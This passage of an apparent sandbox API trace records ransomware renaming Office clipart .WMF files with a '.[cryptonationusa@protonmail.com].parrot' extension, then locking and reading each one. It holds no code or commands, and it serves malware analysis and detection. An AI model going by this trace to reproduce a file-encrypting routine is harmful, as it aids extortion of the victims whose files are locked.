Office\\CLIPART\\PUB60COR\\J0187849.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187849.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.148] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2334, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.148] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.148] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.150] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.150] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x221c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x221c, lpOverlapped=0x0) returned 1 [0139.153] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.154] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2334, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.154] CloseHandle (hObject=0x27c) returned 1 [0139.154] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187851.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187851.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.157] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xbc4, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.157] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.157] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.159] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.159] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xaac, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xaac, lpOverlapped=0x0) returned 1 [0139.159] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.159] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xbc4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.159] CloseHandle (hObject=0x27c) returned 1 [0139.160] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187859.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187859.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.163] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x24ac, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.163] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.163] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.165] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.165] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2394, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2394, lpOverlapped=0x0) returned 1 [0139.166] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.166] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x24ac, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.166] CloseHandle (hObject=0x27c) returned 1 [0139.166] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187861.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187861.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.170] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2b5c, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.170] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.170] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.171] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.171] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2a44, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2a44, lpOverlapped=0x0) returned 1 [0139.172] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.172] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2b5c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.173] CloseHandle (hObject=0x27c) returned 1 [0139.173] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187863.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187863.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.176] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1370, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.176] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.176] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.177] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.177] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1258, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1258, lpOverlapped=0x0) returned 1 [0139.178] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.178] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1370, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.178] CloseHandle (hObject=0x27c) returned 1 [0139.179] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187881.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187881.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.181] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x94c, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.182] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.182] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.183] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.183] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x834, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x834, lpOverlapped=0x0) returned 1 [0139.184] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.184] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x94c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.184] CloseHandle (hObject=0x27c) returned 1 [0139.184] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187883.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187883.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.187] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x170c, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.187] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.187] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.189] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.189] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x15f4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x15f4, lpOverlapped=0x0) returned 1 [0139.190] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.190] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x170c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.190] CloseHandle (hObject=0x27c) returned 1 [0139.190] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187893.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187893.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.193] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xea8, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.193] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.193] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.196] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.196] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd90, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd90, lpOverlapped=0x0) returned 1 [0139.196] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.196] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xea8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.196] CloseHandle (hObject=0x27c) returned 1 [0139.197] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187895.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187895.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.201] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x14a0, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.201] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.201] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.203] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.203] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1388, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1388, lpOverlapped=0x0) returned 1 [0139.204] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.205] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x14a0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.205] CloseHandle (hObject=0x27c) returned 1 [0139.205] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187921.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187921.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.210] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2af4, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.210] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.210] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.214] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.214] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x29dc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x29dc, lpOverlapped=0x0) returned 1 [0139.218] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.218] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2af4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.218] CloseHandle (hObject=0x27c) returned 1 [0139.218] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188511.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188511.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.221] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x311c, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.221] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.221] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.223] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.223] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3004, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3004, lpOverlapped=0x0) returned 1 [0139.224] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.224] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x311c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.224] CloseHandle (hObject=0x27c) returned 1 [0139.224] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188513.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188513.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.227] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x17d8, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.227] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.227] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.229] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.229] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x16c0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x16c0, lpOverlapped=0x0) returned 1 [0139.230] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.230] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x17d8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.230] CloseHandle (hObject=0x27c) returned 1 [0139.230] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188519.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188519.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.233] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3c74, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.233] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.233] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.235] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.235] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3b5c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3b5c, lpOverlapped=0x0) returned 1 [0139.236] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.236] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3c74, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.236] CloseHandle (hObject=0x27c) returned 1 [0139.236] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188587.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188587.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.239] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3fb6, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.239] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.239] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.278] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.279] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3e9e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3e9e, lpOverlapped=0x0) returned 1 [0139.280] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.280] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3fb6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.280] CloseHandle (hObject=0x27c) returned 1 [0139.280] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188667.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188667.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.284] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x74ba, 